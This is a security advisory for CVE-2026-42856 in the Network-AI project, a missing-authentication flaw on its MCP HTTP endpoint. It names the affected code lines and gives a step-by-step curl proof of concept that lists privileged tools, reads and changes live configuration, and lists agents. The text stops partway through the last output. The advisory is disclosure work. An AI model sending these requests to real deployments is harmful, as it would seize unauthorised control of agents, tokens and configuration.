🛡️ CVE-2026-42856 — network-ai

Network-AI missing authentication on MCP HTTP endpoint, which allows unauthenticated privileged tool calls

# Security Advisory: Missing Authentication for Critical Function in Jovancoding/Network-AI

| Field | Value |

|---|---|

| Project | Jovancoding/Network-AI |

| Repository | https://github.com/Jovancoding/Network-AI |

| Affected commit | c344f2053eb0d49395988f803bf92f2a86b2a0d0 |

| Affected tested version | 5.1.2 |

| Vulnerability type | CWE-306: Missing Authentication for Critical Function |

| Severity | High |

| Authentication required | None |

| Default network exposure | Bind address 0.0.0.0 |

| Reporter validation date | 2026-04-21 |

Summary

The MCP HTTP transport accepts JSON-RPC tools/call requests with no authentication, session, origin, or token check, and dispatches them directly to the orchestrator's tool registry. The default bind address is 0.0.0.0. As a result, any party with network reachability to the service can enumerate and invoke privileged management tools — including reading and mutating the live orchestrator configuration, listing registered agents, dispatching agents, creating/revoking security tokens, and adjusting global budget ceilings.

Affected Code

• bin/mcp-server.ts:75 — server binds to 0.0.0.0 by default.
• lib/mcp-transport-sse.ts:155 — handleRPC() dispatches tools/call directly to the provider's call(toolName, toolArgs).
• lib/mcp-transport-sse.ts:379 — _handlePost() parses the JSON-RPC body and calls this._bridge.handleRPC(rpc) with no auth check.
• lib/mcp-tools-control.ts:80 — config_get exposes live runtime configuration.
• lib/mcp-tools-control.ts:197 — agent_list exposes registered agents.
• lib/mcp-tools-control.ts:231 — config_set mutates runtime configuration in place: this._config[key] = parsed.

Proof of Concept

The PoC was executed against a local Docker build of the affected commit, bound to http://localhost:13001. No authentication header was sent. All inner-JSON excerpts below are decoded from the JSON-RPC result.content[0].text field for readability; the raw wire transcripts (which contain the literal escaped JSON-RPC envelope) are in evidence/.

Step 1 — list exposed tools (unauthenticated)

```bash

curl http://localhost:13001/tools

```

HTTP/1.1 200 OK — body returned 22 tools. Privileged tools observed in the inventory include:

• config_get, config_set — read and mutate live orchestrator configuration
• agent_list, agent_spawn, agent_stop — enumerate, dispatch, and stop agents
• token_create, token_revoke — mint and revoke security tokens
• budget_set_ceiling — adjust the global token budget ceiling
• fsm_transition — drive finite-state-machine transitions
• blackboard_write, blackboard_delete — mutate the shared blackboard

Full transcript: evidence/01_get_tools.txt.

Step 2 — read live configuration (unauthenticated)

```bash

curl http://localhost:13001/mcp \

-H 'Content-Type: application/json' \

-d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

```

HTTP/1.1 200 OK — decoded inner JSON:

```json

{

"ok": true,

"tool": "config_get",

"data": {

"blackboardPath": "./swarm-blackboard.md",

"maxParallelAgents": null,

"defaultTimeout": 30000,

"enableTracing": true,

"grantTokenTTL": 300000,

"maxBlackboardValueSize": 1048576,

"auditLogPath": "./data/audit_log.jsonl",

"trustConfigPath": "./data/trust_levels.json"

}

}

```

Full transcript: evidence/02_config_get_before.txt.

Step 3 — mutate live configuration (unauthenticated)

```bash

curl http://localhost:13001/mcp \

-H 'Content-Type: application/json' \

-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"config_set","arguments":{"key":"defaultTimeout","value":"12345"}}}'

```

HTTP/1.1 200 OK — decoded inner JSON:

```json

{

"ok": true,

"tool": "config_set",

"data": {

"key": "defaultTimeout",

"previous": 30000,

"current": 12345,

"applied": true

}

}

```

Full transcript: evidence/03_config_set.txt.

Step 4 — confirm mutation persisted (unauthenticated)

```bash

curl http://localhost:13001/mcp \

-H 'Content-Type: application/json' \

-d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"config_get","arguments":{}}}'

```

HTTP/1.1 200 OK — decoded inner JSON (relevant key only):

```json

{

"ok": true,

"tool": "config_get",

"data": {

"defaultTimeout": 12345

}

}

```

This proves the runtime change applied by step 3 is observable on the next read. Full transcript: evidence/04_config_get_after.txt.

Step 5 — enumerate registered agents (unauthenticated)

```bash

curl http://localhost:13001/mcp \

-H 'Content-Type: application/json' \

-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"agent_list","arguments":{}}}'

```

HTTP/1.1 200 OK — decoded inner JSON:

```json

{

"ok": true,

"tool": "agent_list",